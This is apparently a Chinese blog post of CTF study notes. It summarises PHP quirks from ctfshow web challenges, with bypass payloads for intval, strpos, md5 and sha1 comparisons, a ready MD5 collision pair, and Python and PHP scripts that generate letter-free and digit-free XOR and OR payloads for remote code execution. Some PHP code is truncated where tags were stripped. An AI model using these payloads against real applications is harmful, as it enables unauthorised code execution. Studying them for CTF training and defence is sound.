
本文共 5413 字,大约阅读时间需要 18 分钟。
ctfshow中web入门的php特性已经刷完了,总结一下在做题时遇到的一些关键函数和部分绕过姿势,方便以后的查看。
文章目录
intval()函数
int intval ( mixed $var [, int $base = 10 ] )
intval() 函数用于获取变量的整数值。 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
这个函数一般用于传入一个要求的数,但传入的数字值又不能是这个数。比如4476
,因为是获取变量的整数值,所以如果传一个带小数的数时,也会自动去掉小数,变成整数,例如4476.1
。
intval()
能自动将数字的当前进制转换为十进制,还是4476
,当传入0x117c
或010574
,也就是4476
的十六进制或八进制数时,会自动转换为4476
当传入intval()
中的数字带有字母时,该函数会在读取到字母时自动停止读取,从而只转换前面的数字,同样4476
,如果传入4476e31
,只会读取成4476
strpos()函数
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。如果没有找到字符串则返回 FALSE。
当代码中有strpos()
对开头的字符有限制,如开头不能是数字时,可以在传入的数字前加+
空格
%09
来进行绕过
md5()函数
md5弱比较
代码类似于
if($_POST[a]!=$_POST[b] && md5($_POST[a])==md5($_POST[b])){ die('success'); }
这里由于是弱比较==
,可以选择在加密后是以0e
开头的字符串,因为以0e
开头,会被当作科学计数法
来识别为0
md5加密后以0e开头的字符串:
s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752
因为md5()函数无法处理数组,在遇到数组时会返回null,所以也可以传入两个值不同的数组进行绕过
a[]=1&b[]=2
md5强比较
因为md5()函数无法处理数组,在遇到数组时会返回null,所以也可以传入两个值不同的数组进行绕过
a[]=1&b[]=2
md5强碰撞
if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){ die("success!");}
这里要求输入的必须是字符串,就不能用上面的数组的方法,先看payload
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
这么一长串的编码,他们的md5值是相同的,因为有不可见字符,所以用url编码。
sha1()函数
因为sha1()
函数无法处理数组,在遇到数组时会报错并返回false
,所以也可以传入两个值不同的数组进行绕过
a[]=1&b[]=2
运算符优先级
php中,and和&&都表示逻辑与,or和||都表示逻辑或,他们之间的区别就是运算的优先级不同,&& > = > and
|| > = > or
例如代码$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3)
中,因为=
的优先级高于and
,所以只要v1的值是数字,就能绕过。
反射类ReflectionClass
通过ReflectionClass,我们可以得到Person类的以下信息:
- 常量 Contants
- 属性 Property Names
- 方法 Method Names静态
- 属性 Static Properties
- 命名空间 Namespace
- Person类是否为final或者abstract
- Person类是否有某个方法
也就是说,一旦这个类被反射了,那么我么就可以获取关于这个类的所有信息,一般在框架中用的很多。下面是一个反射类的例子
";}}$a=new ReflectionClass('A');var_dump($a->getConstants()); 获取一组常量/*输出 array(1) { ["PI"]=> float(3.14)}*/var_dump($a->getName()); 获取类名/*输出string(1) "A"*/var_dump($a->getStaticProperties()); 获取静态属性/*输出array(1) { ["flag"]=> string(15) "flag{2u0_t1_ya0_xia0_2he_2u0}"}*/var_dump($a->getMethods()); 获取类中的方法/*输出array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" }*/}
ereg()函数
ereg()
函数有个%00
截断漏洞,当该函数读取到%00
时就会停止读取后面的内容
异常处理类
参考文章:
异常处理在 PHP 中的具体体现就是,PHP 提供了一个名叫 Exception 的类完成对 PHP 程序异常的处理,这个类包含了一些处理异常的函数,这些函数可以捕获程序异常和错误。
FilesystemIterator类
参考文章:
这个类可以用于获取当前目录下的所有文件,看下面的代码:valid()){ echo $a->getFilename()."\n"; $a->next();}?>
输出结果:

全局变量GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量。
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。 即出现过的全局变量,就可以通过$GLOBALS这个数组取得。
最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match
将不再返回非 1 和 0,而是 false
。
在解题时,可以根据题目来写脚本构造payload
无字母数字的rce
主要是参考的羽师傅的文章
异或
首先可以fuzz一波,看看有哪些字符能被我们利用
=32&ord($c)<=126) { # 对于所有字符,筛选出符合条件的 $contents=$contents.$c." ".$a." ".$b."\n"; } }}}fwrite($myfile,$contents);fclose($myfile);
下面开始用这些字符来构造我们想要执行的命令
import requestsimport urllibfrom sys import *import osdef action(arg): s1="" s2="" for i in arg: f=open("xor_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] # 取可用字符的第二部分 s2+=t[6:9] # 取可用字符的第三部分 break f.close() output="(\""+s1+"\"^\""+s2+"\")" # 将第二部分与第三部分异或,得到想要的字符 return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)
或
把上面的两个脚本小改一下,将^
换成|
就可以了
=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }}}fwrite($myfile,$contents);fclose($myfile);
# -*- coding: utf-8 -*-# author yu22ximport requestsimport urllibfrom sys import *import os"""异或def action(arg): s1 = "" s2 = "" for i in arg: f = open("../../phpstudy/phpstudy_pro/WWW/xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output)while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";" print(param)"""def action(arg): s1 = "" s2 = "" for i in arg: f = open("../../phpstudy/phpstudy_pro/WWW/xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output)while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";" print(param)
取反
发表评论
最新留言
关于作者
